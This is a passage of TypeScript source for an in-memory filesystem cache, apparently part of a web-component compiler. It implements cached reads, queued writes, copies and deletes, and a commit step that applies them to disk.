outputTargetTypes = new Map<string, string>();\n\n  /**\n   * Check if a file exists at a provided path. This function will attempt to\n   * use the in-memory cache before performing a blocking read. In the event of\n   * a cache hit, the content from the cache will be returned and the read skipped.\n   *\n   * @param filePath the path to the file to read\n   * @returns `true` if the file exists, `false` otherwise\n   */\n  const access = async (filePath: string): Promise<boolean> => {\n    const item = getItem(filePath);\n\n    if (typeof item.exists !== 'boolean') {\n      const stats = await stat(filePath);\n      return stats.exists;\n    }\n    return item.exists;\n  };\n\n  /**\n   * **Synchronous!!! Do not use!!!**\n   * (Only typescript transpiling is allowed to use)\n   *\n   * Synchronously get information about a file from a provided path. This\n   * function will attempt to use an in-memory cache before performing a\n   * blocking read.\n   *\n   * In the event of a cache hit, the content from the cache will be returned\n   * and skip the read.\n   *\n   * @param filePath the path to the file to read\n   * @returns `true` if the file exists, `false` otherwise\n   */\n  const accessSync = (filePath: string): boolean => {\n    const item = getItem(filePath);\n    if (typeof item.exists !== 'boolean') {\n      const stats = statSync(filePath);\n      return stats.exists;\n    }\n    return item.exists;\n  };\n\n  /**\n   * Copy a file from `src` to `dest`. Note that this merely queues the file\n   * for copying, the copy isn't actually committed.\n   *\n   * @param src the path to the source file\n   * @param dest the destination the source file should be copied to\n   */\n  const copyFile = async (src: string, dest: string): Promise<void> => {\n    const item = getItem(src);\n    item.queueCopyFileToDest = dest;\n  };\n\n  /**\n   * Empty a series of directories of their contents\n   *\n   * @param dirs a set of directories to empty\n   * @returns an empty Promise\n   */\n  const emptyDirs = async (dirs: string[]): Promise<void> => {\n    dirs = dirs\n      .filter(isString)\n      .map((s) => normalizePath(s))\n      .reduce((dirs, dir) => {\n        if (!dirs.includes(dir)) {\n          dirs.push(dir);\n        }\n        return dirs;\n      }, [] as string[]);\n\n    const allFsItems = await Promise.all(dirs.map((dir) => readdir(dir, { recursive: true })));\n    const reducedItems: string[] = [];\n\n    for (const fsItems of allFsItems) {\n      for (const f of fsItems) {\n        if (!reducedItems.includes(f.absPath)) {\n          reducedItems.push(f.absPath);\n        }\n      }\n    }\n\n    reducedItems.sort((a, b) => {\n      const partsA = a.split('/').length;\n      const partsB = b.split('/').length;\n      if (partsA < partsB) return 1;\n      if (partsA > partsB) return -1;\n      return 0;\n    });\n\n    await Promise.all(reducedItems.map(removeItem));\n\n    dirs.forEach((dir) => {\n      const item = getItem(dir);\n      item.isFile = false;\n      item.isDirectory = true;\n      item.queueWriteToDisk = true;\n      item.queueDeleteFromDisk = false;\n    });\n  };\n\n  /**\n   * Get the contents of a directory on the in-memory filesystem\n   *\n   * @param dirPath the path to the directory of interest\n   * @param opts an optional object containing configuration options\n   * @returns a Promise wrapping a list of directory contents\n   */\n  const readdir = async (dirPath: string, opts: FsReaddirOptions = {}): Promise<FsReaddirItem[]> => {\n    dirPath = normalizePath(dirPath);\n\n    const collectedPaths: FsReaddirItem[] = [];\n\n    if (opts.inMemoryOnly === true) {\n      let inMemoryDir = dirPath;\n      if (!inMemoryDir.endsWith('/')) {\n        inMemoryDir += '/';\n      }\n\n      const inMemoryDirs = dirPath.split('/');\n\n      items.forEach((dir, filePath) => {\n        if (!filePath.startsWith(dirPath)) {\n          return;\n        }\n\n        const parts = filePath.split('/');\n\n        if (parts.length === inMemoryDirs.length + 1 || (opts.recursive && parts.length > inMemoryDirs.length)) {\n          if (dir.exists) {\n            const item: FsReaddirItem = {\n              absPath: filePath,\n              relPath: parts[inMemoryDirs.length],\n              isDirectory: dir.isDirectory,\n              isFile: dir.isFile,\n            };\n            if (!shouldExcludeFromReaddir(opts, item)) {\n              collectedPaths.push(item);\n            }\n          }\n        }\n      });\n    } else {\n      // always a disk read\n      await readDirectory(dirPath, dirPath, opts, collectedPaths);\n    }\n\n    return collectedPaths.sort((a, b) => {\n      if (a.absPath < b.absPath) return -1;\n      if (a.absPath > b.absPath) return 1;\n      return 0;\n    });\n  };\n\n  /**\n   * A directory read function which _always_ reads from the disk and so is\n   * only used internally.\n   *\n   * @param initPath an initial path used for computing relative paths\n   * @param dirPath the path of the directory to look at\n   * @param opts options for read operations\n   * @param collectedPaths an out param to which directory entries will be\n   * added\n   */\n  const readDirectory = async (\n    initPath: string,\n    dirPath: string,\n    opts: FsReaddirOptions,\n    collectedPaths: FsReaddirItem[],\n  ) => {\n    // used internally only so we could easily recursively drill down\n    // loop through this directory and sub directories\n    // always a disk read!!removeDir\n    const dirItems = await sys.readDir(dirPath);\n    if (dirItems.length > 0) {\n      // cache some facts about this path\n      const item = getItem(dirPath);\n      item.exists = true;\n      item.isFile = false;\n      item.isDirectory = true;\n\n      await Promise.all(\n        dirItems.map(async (dirItem) => {\n          // let's loop through each of the files we've found so far\n          // create an absolute path of the item inside of this directory\n          const absPath = normalizePath(dirItem);\n          const relPath = normalizePath(relative(initPath, absPath));\n\n          // get the fs stats for the item, could be either a file or directory\n          const stats = await stat(absPath);\n\n          const childItem: FsReaddirItem = {\n            absPath: absPath,\n            relPath: relPath,\n            isDirectory: stats.isDirectory,\n            isFile: stats.isFile,\n          };\n\n          if (shouldExcludeFromReaddir(opts, childItem)) {\n            return;\n          }\n\n          collectedPaths.push(childItem);\n\n          if (opts.recursive === true && stats.isDirectory === true) {\n            // looks like it's yet another directory\n            // let's keep drilling down\n            await readDirectory(initPath, absPath, opts, collectedPaths);\n          }\n        }),\n      );\n    }\n  };\n\n  /**\n   * Check whether a given item should be excluded from readdir results\n   *\n   * @param opts options for fs read operations\n   * @param item the item in question\n   * @returns whether the item should be excluded or not\n   */\n  const shouldExcludeFromReaddir = (opts: FsReaddirOptions, item: FsReaddirItem) => {\n    if (item.isDirectory) {\n      if (Array.isArray(opts.excludeDirNames)) {\n        const base = basename(item.absPath);\n        if (opts.excludeDirNames.some((dir) => base === dir)) {\n          return true;\n        }\n      }\n    } else {\n      if (Array.isArray(opts.excludeExtensions)) {\n        const p = item.relPath.toLowerCase();\n        if (opts.excludeExtensions.some((ext) => p.endsWith(ext))) {\n          return true;\n        }\n      }\n    }\n    return false;\n  };\n\n  /**\n   * Read a file on the in-memory filesystem. By default, this will look at\n   * the in-memory FS proxy first and then, if nothing is found at the provided\n   * path, it will then look at the real FS.\n   *\n   * This behavior can be disabled by setting the `useCache` option to `false`\n   * on the provided options object. When this option is set the actual FS will\n   * be checked directly without looking at the in-memory FS first.\n   *\n   * @param filePath the filepath of interest\n   * @param opts an optional object containing options for reading files\n   * @returns a promise wrapping either the contents of the file (if found) or\n   * undefined if it's not found\n   */\n  const readFile = async (filePath: string, opts?: FsReadOptions) => {\n    // default to looking at the in-memory FS first (we will only *not* do\n    // so if `opts.useCache === false`)\n    if (opts == null || opts.useCache === true || opts.useCache === undefined) {\n      const item = getItem(filePath);\n      if (item.exists && typeof item.fileText === 'string') {\n        return item.fileText;\n      }\n    }\n\n    const fileText = await sys.readFile(filePath);\n    const item = getItem(filePath);\n    if (typeof fileText === 'string') {\n      if (fileText.length < MAX_TEXT_CACHE) {\n        item.exists = true;\n        item.isFile = true;\n        item.isDirectory = false;\n        item.fileText = fileText;\n      }\n    } else {\n      item.exists = false;\n    }\n    return fileText;\n  };\n\n  /**\n   * **Synchronous!!! Do not use!!!**\n   * (Only typescript transpiling is allowed to use)\n   *\n   * Synchronously read a file from a provided path. This function will attempt\n   * to use an in-memory cache before performing a blocking read in the\n   * following circumstances:\n   *\n   * - no `opts` are provided\n   * - the `useCache` member on `opts` is set to `true`, or is not set\n   *\n   * In the event of a cache hit, the content from the cache will be returned\n   * and skip the read.\n   *\n   * @param filePath the path to the file to read\n   * @param opts a configuration to use when reading a file\n   * @returns the contents of the file (read from either disk or the cache).\n   */\n  const readFileSync = (filePath: string, opts?: FsReadOptions): string => {\n    if (opts == null || opts.useCache === true || opts.useCache === undefined) {\n      const item = getItem(filePath);\n      if (item.exists && typeof item.fileText === 'string') {\n        return item.fileText;\n      }\n    }\n\n    const fileText = sys.readFileSync(filePath);\n    const item = getItem(filePath);\n    if (typeof fileText === 'string') {\n      if (fileText.length < MAX_TEXT_CACHE) {\n        item.exists = true;\n        item.isFile = true;\n        item.isDirectory = false;\n        item.fileText = fileText;\n      }\n    } else {\n      item.exists = false;\n    }\n\n    return fileText;\n  };\n\n  /**\n   * Remove an item from the in-memory FS\n   *\n   * This is done by marking it for deletion. The item will remain in memory\n   * until the queued changes are committed. This function handles both files\n   * and directories.\n   *\n   * @param itemPath the path to the item to be deleted\n   * @returns an empty promise\n   */\n  const remove = async (itemPath: string): Promise<void> => {\n    const stats = await stat(itemPath);\n\n    if (stats.isDirectory === true) {\n      await removeDir(itemPath);\n    } else if (stats.isFile === true) {\n      await removeItem(itemPath);\n    }\n  };\n\n  /**\n   * Remove an item from the in-memory FS by marking it to be deleted\n   *\n   * @param dirPath the path to the item to be deleted\n   * @returns an empty promise\n   */\n  const removeDir = async (dirPath: string): Promise<void> => {\n    const item = getItem(dirPath);\n    item.isFile = false;\n    item.isDirectory = true;\n    if (!item.queueWriteToDisk) {\n      item.queueDeleteFromDisk = true;\n    }\n\n    try {\n      const dirItems = await readdir(dirPath, { recursive: true });\n\n      await Promise.all(\n        dirItems.map((item) => {\n          if (item.relPath.endsWith('.gitkeep')) {\n            return null;\n          }\n          return removeItem(item.absPath);\n        }),\n      );\n    } catch (e) {\n      // do not throw error if the directory never existed\n    }\n  };\n\n  /**\n   * Remove an item from the in-memory FS by marking it to be deleted\n   *\n   * @param filePath the path to the item to be deleted\n   * @returns an empty promise\n   */\n  const removeItem = async (filePath: string): Promise<void> => {\n    const item = getItem(filePath);\n    if (!item.queueWriteToDisk) {\n      item.queueDeleteFromDisk = true;\n    }\n  };\n\n  /**\n   * Get statistics and information about a filepath in the in-memory FS.\n   *\n   * This function is fairly similar to the `stat` function in node's\n   * `fs` module. If an item exists at the path in question this will return\n   * information including whether it's a file or a directory, filesize, etc.\n   * If it does not exist the `exists` property will be set accordingly.\n   *\n   * @param itemPath the path to the item in question\n   * @returns a Promise wrapping an object with information about the item\n   */\n  const stat = async (itemPath: string): Promise<FsStat> => {\n    const item = getItem(itemPath);\n\n    if (typeof item.isDirectory !== 'boolean' || typeof item.isFile !== 'boolean') {\n      const stat = await sys.stat(itemPath);\n      if (!stat.error) {\n        item.exists = true;\n        if (stat.isFile) {\n          item.isFile = true;\n          item.isDirectory = false;\n          item.size = stat.size;\n        } else if (stat.isDirectory) {\n          item.isFile = false;\n          item.isDirectory = true;\n          item.size = stat.size;\n        } else {\n          item.isFile = false;\n          item.isDirectory = false;\n          item.size = null;\n        }\n      } else {\n        item.exists = false;\n      }\n    }\n\n    return {\n      exists: !!item.exists,\n      isFile: !!item.isFile,\n      isDirectory: !!item.isDirectory,\n      size: typeof item.size === 'number' ? item.size : 0,\n    };\n  };\n\n  /**\n   * **Synchronous!!! Do not use!!!**\n   * (Only typescript transpiling is allowed to use)\n   *\n   * Searches an in-memory cache for an item at the provided path. Always\n   * returns an object, **does not throw errors**.\n   *\n   * @param itemPath the path to the file to read\n   * @returns an object describing the item found at the provided `itemPath`\n   */\n  const statSync = (itemPath: string): FsStat => {\n    const item = getItem(itemPath);\n    if (typeof item.isDirectory !== 'boolean' || typeof item.isFile !== 'boolean') {\n      const stat = sys.statSync(itemPath);\n      if (!stat.error) {\n        item.exists = true;\n        if (stat.isFile) {\n          item.isFile = true;\n          item.isDirectory = false;\n          item.size = stat.size;\n        } else if (stat.isDirectory) {\n          item.isFile = false;\n          item.isDirectory = true;\n          item.size = stat.size;\n        } else {\n          item.isFile = false;\n          item.isDirectory = false;\n          item.size = null;\n        }\n      } else {\n        item.exists = false;\n      }\n    }\n\n    return {\n      exists: !!item.exists,\n      isFile: !!item.isFile,\n      isDirectory: !!item.isDirectory,\n      size: item.size,\n    };\n  };\n\n  /**\n   * Write a file to the in-memory filesystem. The behavior of this function\n   * can be modified in several ways by passing different parameters in the\n   * options object.\n   *\n   * Supported options and their effects:\n   *\n   * - `useCache`: specify that the cache should be used\n   * - `inMemoryOnly`: only use the in-memory cache and do not write the file\n   *   to disk\n   * - `immediateWrite`: flush the write to disk immediately, skipping the\n   *   in-memory cache\n   *\n   * This function will additionally check before it writes anything to disk\n   * to see if the content to be written is different than what already exists\n   * on disk.\n   *\n   * @param filePath the filePath to write to\n   * @param content what to write!\n   * @param opts an optional object which controls how the file is written\n   * @returns a Promise wrapping a write result object\n   */\n  const writeFile = async (filePath: string, content: string, opts?: FsWriteOptions): Promise<FsWriteResults> => {\n    if (typeof filePath !== 'string') {\n      throw new Error(`writeFile, invalid filePath: ${filePath}`);\n    }\n\n    if (typeof content !== 'string') {\n      throw new Error(`writeFile, invalid content: ${filePath}`);\n    }\n\n    const results: FsWriteResults = {\n      ignored: false,\n      changedContent: false,\n      queuedWrite: false,\n    };\n\n    if (shouldIgnore(filePath) === true) {\n      results.ignored = true;\n      return results;\n    }\n\n    const item = getItem(filePath);\n    item.exists = true;\n    item.isFile = true;\n    item.isDirectory = false;\n    item.queueDeleteFromDisk = false;\n\n    if (typeof item.fileText === 'string') {\n      // compare strings but replace Windows CR to rule out any\n      // insignificant new line differences\n      results.changedContent = item.fileText.replace(/\\r/g, '') !== content.replace(/\\r/g, '');\n    } else {\n      results.changedContent = true;\n    }\n    item.fileText = content;\n\n    results.queuedWrite = false;\n\n    if (opts != null) {\n      if (typeof opts.outputTargetType === 'string') {\n        outputTargetTypes.set(filePath, opts.outputTargetType);\n      }\n      if (opts.useCache === false) {\n        item.useCache = false;\n      }\n    }\n\n    if (opts != null && opts.inMemoryOnly === true) {\n      // we don't want to actually write this to disk\n      // just keep it in memory\n      if (item.queueWriteToDisk) {\n        // we already queued this file to write to disk\n        // in that case we still need to do it\n        results.queuedWrite = true;\n      } else {\n        // we only want this in memory and\n        // it wasn't already queued to be written\n        item.queueWriteToDisk = false;\n      }\n\n      // ensure in-memory directories are created\n      await ensureDir(filePath, true);\n    } else if (opts != null && opts.immediateWrite === true) {\n      // if this is an immediate write then write the file\n      // now and do not add it to the queue\n      if (results.changedContent || opts.useCache !== true) {\n        // writing the file to disk is a big deal and kicks off fs watchers\n        // so let's just double check that the file is actually different first\n        const existingFile = await sys.readFile(filePath);\n        if (typeof existingFile === 'string') {\n          results.changedContent = item.fileText.replace(/\\r/g, '') !== existingFile.replace(/\\r/g, '');\n        }\n\n        if (results.changedContent) {\n          await ensureDir(filePath, false);\n          const { error } = await sys.writeFile(filePath, item.fileText);\n          if (error) {\n            throw error;\n          }\n        }\n      }\n    } else {\n      // we want to write this to disk (eventually)\n      // but only if the content is different\n      // from our existing cached content\n      if (!item.queueWriteToDisk && results.changedContent === true) {\n        // not already queued to be written\n        // and the content is different\n        item.queueWriteToDisk = true;\n        results.queuedWrite = true;\n      }\n    }\n\n    return results;\n  };\n\n  /**\n   * Write a series of files to the in-memory filesystem\n   *\n   * @param files a data structure mapping filepath -> content\n   * @param opts an optional set of options passed to `writeFile`\n   * @returns a Promise wrapping all write result objects for all the files\n   */\n  const writeFiles = (files: { [filePath: string]: string } | Map<string, string>, opts?: FsWriteOptions) => {\n    const writes: Promise<FsWriteResults>[] = [];\n\n    if (isIterable(files)) {\n      files.forEach((content, filePath) => {\n        writes.push(writeFile(filePath, content, opts));\n      });\n    } else {\n      Object.keys(files).map((filePath) => {\n        writes.push(writeFile(filePath, files[filePath], opts));\n      });\n    }\n\n    return Promise.all(writes);\n  };\n\n  /**\n   * Commit all pending FS operations to disk\n   *\n   * FS operations like writes, copies, and deletes which are done to the\n   * in-memory FS are deferred and only recorded in the in-memory cache. This\n   * method takes all of the deferred FS actions and commits them to the FS,\n   * writing and copying files, creating directories, etc.\n   *\n   * @returns a Promise wrapping a summary of what was done\n   */\n  const commit = async (): Promise<FsCommitResults> => {\n    const instructions = getCommitInstructions(items);\n\n    // ensure directories we need exist\n    const dirsAdded = await commitEnsureDirs(instructions.dirsToEnsure, false);\n\n    // write all queued the files\n    const filesWritten = await commitWriteFiles(instructions.filesToWrite);\n\n    // write all queued the files to copy\n    const filesCopied = await commitCopyFiles(instructions.filesToCopy);\n\n    // remove all the queued files to be deleted\n    const filesDeleted = await commitDeleteFiles(instructions.filesToDelete);\n\n    // remove all the queued dirs to be deleted\n    const dirsDeleted = await commitDeleteDirs(instructions.dirsToDelete);\n\n    instructions.filesToDelete.forEach(clearFileCache);\n\n    instructions.dirsToDelete.forEach(clearDirCache);\n\n    // return only the files that were\n    return {\n      filesCopied,\n      filesWritten,\n      filesDeleted,\n      dirsDeleted,\n      dirsAdded,\n    };\n  };\n\n  /**\n   * Ensure that a directory exists\n   *\n   * @param path the path to ensure exists\n   * @param inMemoryOnly don't commit any changes to the filesystem, instead\n   * only change the in-memory cache\n   */\n  const ensureDir = async (path: string, inMemoryOnly: boolean) => {\n    /**\n     * in case we write to disk immediately, there is no need to split\n     * all directories into separate calls, we can just use the recursive flag\n     */\n    if (!inMemoryOnly) {\n      await sys.createDir(dirname(path), { recursive: true });\n      return;\n    }\n\n    const allDirs: string[] = [];\n\n    while (true) {\n      path = dirname(path);\n      if (\n        typeof path === 'string' &&\n        path.length > 0 &&\n        path !== '/' &&\n        path.endsWith(':/') === false &&\n        path.endsWith(':\\\\') === false\n      ) {\n        allDirs.push(path);\n      } else {\n        break;\n      }\n    }\n\n    allDirs.reverse();\n\n    await commitEnsureDirs(allDirs, inMemoryOnly);\n  };\n\n  /**\n   * Ensure that a series of directories are created.\n   *\n   * If `inMemoryOnly` is true this will not touch the disk but will only\n   * modify the in-memory filesystem cache. Otherwise it will create directories\n   * in the real FS.\n   *\n   * @param dirsToEnsure directories we want to ensure exist\n   * @param inMemoryOnly whether directory creation should be confined to the\n   * in-memory cache\n   * @returns a Promise wrapping a list of directories created\n   */\n  const commitEnsureDirs = async (dirsToEnsure: string[], inMemoryOnly: boolean): Promise<string[]> => {\n    const dirsAdded: string[] = [];\n\n    for (const dirPath of dirsToEnsure) {\n      const item = getItem(dirPath);\n\n      if (item.exists === true && item.isDirectory === true) {\n        // already cached that this path is indeed an existing directory\n        continue;\n      }\n\n      try {\n        // cache that we know this is a directory on disk\n        item.exists = true;\n        item.isDirectory = true;\n        item.isFile = false;\n\n        if (!inMemoryOnly) {\n          await sys.createDir(dirPath);\n        }\n\n        dirsAdded.push(dirPath);\n      } catch (e) {}\n    }\n\n    return dirsAdded;\n  };\n\n  /**\n   * Commit copy file operations to disk\n   *\n   * @param filesToCopy a list of [src, dest] tuples\n   * @returns an array of copied file types\n   */\n  const commitCopyFiles = (filesToCopy: FileCopyTuple[]): Promise<FileCopyTuple[]> => {\n    const copiedFiles = Promise.all(\n      filesToCopy.map(async (data): Promise<FileCopyTuple> => {\n        const [src, dest] = data;\n        await sys.copyFile(src, dest);\n        return [src, dest];\n      }),\n    );\n    return copiedFiles;\n  };\n\n  /**\n   * Commit file write operations to disk\n   *\n   * @param filesToWrite a list of files to write\n   * @returns a Promise wrapping the files written\n   *\n   */\n  const commitWriteFiles = (filesToWrite: string[]): Promise<string[]> => {\n    const writtenFiles = Promise.all(\n      filesToWrite.map(async (filePath) => {\n        if (typeof filePath !== 'string') {\n          throw new Error(`unable to writeFile without filePath`);\n        }\n        return commitWriteFile(filePath);\n      }),\n    );\n    return writtenFiles;\n  };\n\n  /**\n   * Commit a file write operation to disk\n   *\n   * @param filePath the filepath to write\n   * @returns a Promise wrapping the written path\n   */\n  const commitWriteFile = async (filePath: string): Promise<string> => {\n    const item = getItem(filePath);\n\n    if (item.fileText == null) {\n      throw new Error(`unable to find item fileText to write: ${filePath}`);\n    }\n    await sys.writeFile(filePath, item.fileText);\n\n    if (item.useCache === false) {\n      clearFileCache(filePath);\n    }\n\n    return filePath;\n  };\n\n  /**\n   * Commit file delete operations to disk\n   *\n   * @param filesToDelete a set of files to delete\n   * @returns a Promise wrapping the set of files deleted\n   */\n  const commitDeleteFiles = async (filesToDelete: string[]): Promise<string[]> => {\n    const deletedFiles = await Promise.all(\n      filesToDelete.map(async (filePath) => {\n        if (typeof filePath !== 'string') {\n          throw new Error(`unable to unlink without filePath`);\n        }\n        await sys.removeFile(filePath);\n        return filePath;\n      }),\n    );\n    return deletedFiles;\n  };\n\n  /**\n   * Commit directory delete operations to disk\n   *\n   * @param dirsToDelete a set of directories to delete\n   * @returns a Promise wrapping the set of directories deleted\n   */\n  const commitDeleteDirs = async (dirsToDelete: string[]): Promise<string[]> => {\n    const dirsDeleted: string[] = [];\n\n    for (const dirPath of dirsToDelete) {\n      await sys.removeDir(dirPath);\n      dirsDeleted.push(dirPath);\n    }\n\n    return dirsDeleted;\n  };\n\n  /**\n   * Clear all items within a given dir from the in-memory FS cache\n   *\n   * @param dirPath the path for the item to remove\n   */\n  const clearDirCache = (dirPath: string) => {\n    dirPath = normalizePath(dirPath);\n\n    items.forEach((_, f) => {\n      const filePath = relative(dirPath, f).split('/')[0];\n      if (!filePath.startsWith('.') && !filePath.startsWith('/')) {\n        clearFileCache(f);\n      }\n    });\n  };\n\n  /**\n   * Remove an item from the in-memory FS cache, checking first that it is\n   * not currently queued for a write operation.\n   *\n   * @param filePath the path for the item to remove\n   */\n  const clearFileCache = (filePath: string) => {\n    filePath = normalizePath(filePath);\n    const item = items.get(filePath);\n    if (item != null && !item.queueWriteToDisk) {\n      items.delete(filePath);\n    }\n  };\n\n  /**\n   * Cancel pending delete operations on files cached in the in-memory FS.\n   * This will not reverse a delete operation if it has already been committed\n   * to disk, but will cancel any pending delete operations that have not yet\n   * been committed.\n   *\n   * Note that this will silently **not cancel delete operations on directories**!\n   *\n   * @param filePaths a list of filepaths which should not be deleted\n   */\n  const cancelDeleteFilesFromDisk = (filePaths: string[]) => {\n    for (const filePath of filePaths) {\n      const item = getItem(filePath);\n      if (item.isFile === true && item.queueDeleteFromDisk === true) {\n        item.queueDeleteFromDisk = false;\n      }\n    }\n  };\n\n  /**\n   * Cancel a pending delete operations on directories cached in the in-memory\n   * FS. This will not reverse a delete operation if it has already been\n   * committed to disk, but will cancel any pending delete operations that\n   * have not yet been committed.\n   *\n   * @param dirPaths a list of filepaths whose delete ops should be canceled\n   */\n  const cancelDeleteDirectoriesFromDisk = (dirPaths: string[]) => {\n    for (const dirPath of dirPaths) {\n      const item = getItem(dirPath);\n      if (item.queueDeleteFromDisk === true) {\n        item.queueDeleteFromDisk = false;\n      }\n    }\n  };\n\n  /**\n   * Getter method for the in-memory FS cache / proxy.\n   *\n   * This will return an item if found or, if it's not present in the cache,\n   * will create an 'empty' filesystem item and set it in the cache.\n   *\n   * @param itemPath the filepath for the item in question\n   * @returns an object with information about the item in question\n   */\n  const getItem = (itemPath: string): FsItem => {\n    itemPath = normalizePath(itemPath);\n    let item = items.get(itemPath);\n    if (item != null) {\n      return item;\n    }\n\n    items.set(\n      itemPath,\n      (item = {\n        exists: null,\n        fileText: null,\n        size: null,\n        mtimeMs: null,\n        isDirectory: null,\n        isFile: null,\n        queueCopyFileToDest: null,\n        queueDeleteFromDisk: null,\n        queueWriteToDisk: null,\n        useCache: null,\n      }),\n    );\n    return item;\n  };\n\n  /**\n   * Clear all items out of the in-memory cache\n   */\n  const clearCache = () => {\n    items.clear();\n  };\n\n  /**\n   * Get some very basic usage statistics for the in-memory cache\n   *\n   * @returns a formatted description of cache usage\n   */\n  const getMemoryStats = () => `data length: ${items.size}`;\n\n  /**\n   * Get information about the files built for output type\n   *\n   * @returns a list of build output records\n   */\n  const getBuildOutputs = (): d.BuildOutput[] => {\n    const outputs: d.BuildOutput[] = [];\n\n    outputTargetTypes.forEach((outputTargetType, filePath) => {\n      const output = outputs.find((o) => o.type === outputTargetType);\n      if (output) {\n        output.files.push(filePath);\n      } else {\n        outputs.push({\n          type: outputTargetType,\n          files: [filePath],\n        });\n      }\n    });\n\n    outputs.forEach((output) => output.files.sort());\n\n    return outputs.sort((a, b) => {\n      if (a.type < b.type) return -1;\n      if (a.type > b.type) return 1;\n      return 0;\n    });\n  };\n\n  // only cache if it's less than 5MB-ish (using .length as a rough guess)\n  // why 5MB? idk, seems like a good number for source text\n  // it's pretty darn large to cover almost ALL legitimate source files\n  // and anything larger is probably a REALLY large file and a rare case\n  // which we don't need to eat up memory for\n  const MAX_TEXT_CACHE = 5242880;\n\n  return {\n    access,\n    accessSync,\n    cancelDeleteDirectoriesFromDisk,\n    cancelDeleteFilesFromDisk,\n    clearCache,\n    clearDirCache,\n    clearFileCache,\n    commit,\n    copyFile,\n    emptyDirs,\n    getBuildOutputs,\n    getItem,\n    getMemoryStats,\n    readFile,\n    readFileSync,\n    readdir,\n    remove,\n    stat,\n    statSync,\n    sys,\n    writeFile,\n    writeFiles,\n  };\n};\n\n/**\n * The information needed to carry out a file copy operation.\n *\n * `[ source, destination ]`\n */\ntype FileCopyTuple = [string, string];\n\n/**\n * Collected instructions for all pending filesystem operations saved\n * to the in-memory filesystem.\n */\ninterface FsCommitInstructions {\n  filesToDelete: string[];\n  filesToWrite: string[];\n  /**\n   * Files queued for copy operations are stored as an array of `[source, dest]`\n   * tuples.\n   */\n  filesToCopy: FileCopyTuple[];\n  dirsToDelete: string[];\n  dirsToEnsure: string[];\n}\n\n/**\n * Results from committing pending filesystem operations\n */\ninterface FsCommitResults {\n  filesCopied: FileCopyTuple[];\n  filesWritten: string[];\n  filesDeleted: string[];\n  dirsDeleted: string[];\n  dirsAdded: string[];\n}\n\n/**\n * Given the current state of the in-memory proxy filesystem, collect all of\n * the changes that need to be made in order to commit the currently-pending\n * operations (e.g. write, copy, delete) to the OS filesystem.\n *\n * @param items the storage data structure for the in-memory FS cache\n * @returns a collection of all the operations that need to be done\n */\nexport const getCommitInstructions = (items: FsItems): FsCommitInstructions => {\n  const instructions: FsCommitInstructions = {\n    filesToDelete: [],\n    filesToWrite: [],\n    filesToCopy: [],\n    dirsToDelete: [],\n    dirsToEnsure: [],\n  };\n\n  items.forEach((item, itemPath) => {\n    if (item.queueWriteToDisk === true) {\n      if (item.isFile === true) {\n        instructions.filesToWrite.push(itemPath);\n\n        const dir = normalizePath(dirname(itemPath));\n        if (!instructions.dirsToEnsure.includes(dir)) {\n          instructions.dirsToEnsure.push(dir);\n        }\n\n        const dirDeleteIndex = instructions.dirsToDelete.indexOf(dir);\n        if (dirDeleteIndex > -1) {\n          instructions.dirsToDelete.splice(dirDeleteIndex, 1);\n        }\n\n        const fileDeleteIndex = instructions.filesToDelete.indexOf(itemPath);\n        if (fileDeleteIndex > -1) {\n          instructions.filesToDelete.splice(fileDeleteIndex, 1);\n        }\n      } else if (item.isDirectory === true) {\n        if (!instructions.dirsToEnsure.includes(itemPath)) {\n          instructions.dirsToEnsure.push(itemPath);\n        }\n\n        const dirDeleteIndex = instructions.dirsToDelete.indexOf(itemPath);\n        if (dirDeleteIndex > -1) {\n          instructions.dirsToDelete.splice(dirDeleteIndex, 1);\n        }\n      }\n    } else if (item.queueDeleteFromDisk === true) {\n      if (item.isDirectory && !instructions.dirsToEnsure.includes(itemPath)) {\n        instructions.dirsToDelete.push(itemPath);\n      } else if (item.isFile && !instructions.filesToWrite.includes(itemPath)) {\n        instructions.filesToDelete.push(itemPath);\n      }\n    } else if (typeof item.queueCopyFileToDest === 'string') {\n      const src = itemPath;\n      const dest = item.queueCopyFileToDest;\n      instructions.filesToCopy.push([src, dest]);\n\n      const dir = normalizePath(dirname(dest));\n      if (!instructions.dirsToEnsure.includes(dir)) {\n        instructions.dirsToEnsure.push(dir);\n      }\n\n      const dirDeleteIndex = instructions.dirsToDelete.indexOf(dir);\n      if (dirDeleteIndex > -1) {\n        instructions.dirsToDelete.splice(dirDeleteIndex, 1);\n      }\n\n      const fileDeleteIndex = instructions.filesToDelete.indexOf(dest);\n      if (fileDeleteIndex > -1) {\n        instructions.filesToDelete.splice(fileDeleteIndex, 1);\n      }\n    }\n\n    item.queueDeleteFromDisk = false;\n    item.queueWriteToDisk = false;\n  });\n\n  // add all the ancestor directories for each directory too\n  for (let i = 0, ilen = instructions.dirsToEnsure.length; i < ilen; i++) {\n    const segments = instructions.dirsToEnsure[i].split('/');\n\n    for (let j = 2; j < segments.length; j++) {\n      const dir = segments.slice(0, j).join('/');\n      if (instructions.dirsToEnsure.includes(dir) === false) {\n        instructions.dirsToEnsure.push(dir);\n      }\n    }\n  }\n\n  // sort directories so shortest paths are ensured first\n  instructions.dirsToEnsure.sort((a, b) => {\n    const segmentsA = a.split('/').length;\n    const segmentsB = b.split('/').length;\n    if (segmentsA < segmentsB) return -1;\n    if (segmentsA > segmentsB) return 1;\n    if (a.length < b.length) return -1;\n    if (a.length > b.length) return 1;\n    return 0;\n  });\n\n  // sort directories so longest paths are removed first\n  instructions.dirsToDelete.sort((a, b) => {\n    const segmentsA = a.split('/').length;\n    const segmentsB = b.split('/').length;\n    if (segmentsA < segmentsB) return 1;\n    if (segmentsA > segmentsB) return -1;\n    if (a.length < b.length) return 1;\n    if (a.length > b.length) return -1;\n    return 0;\n  });\n\n  for (const dirToEnsure of instructions.dirsToEnsure) {\n    const i = instructions.dirsToDelete.indexOf(dirToEnsure);\n    if (i > -1) {\n      instructions.dirsToDelete.splice(i, 1);\n    }\n  }\n\n  instructions.dirsToDelete = instructions.dirsToDelete.filter((dir) => {\n    if (dir === '/' || dir.endsWith(':/') === true) {\n      return false;\n    }\n    return true;\n  });\n\n  instructions.dirsToEnsure = instructions.dirsToEnsure.filter((dir) => {\n    const item = items.get(dir);\n    if (item != null && item.exists === true && item.isDirectory === true) {\n      return false;\n    }\n    if (dir === '/' || dir.endsWith(':/')) {\n      return false;\n    }\n    return true;\n  });\n\n  return instructions;\n};\n\n/**\n * Check whether a given filepath should be ignored\n *\n * We have a little ignore list, and we just check whether the\n * filepath ends with any of the strings on the ignore list.\n *\n * @param filePath the filepath to check!\n * @returns whether we should ignore it or not\n */\nexport const shouldIgnore = (filePath: 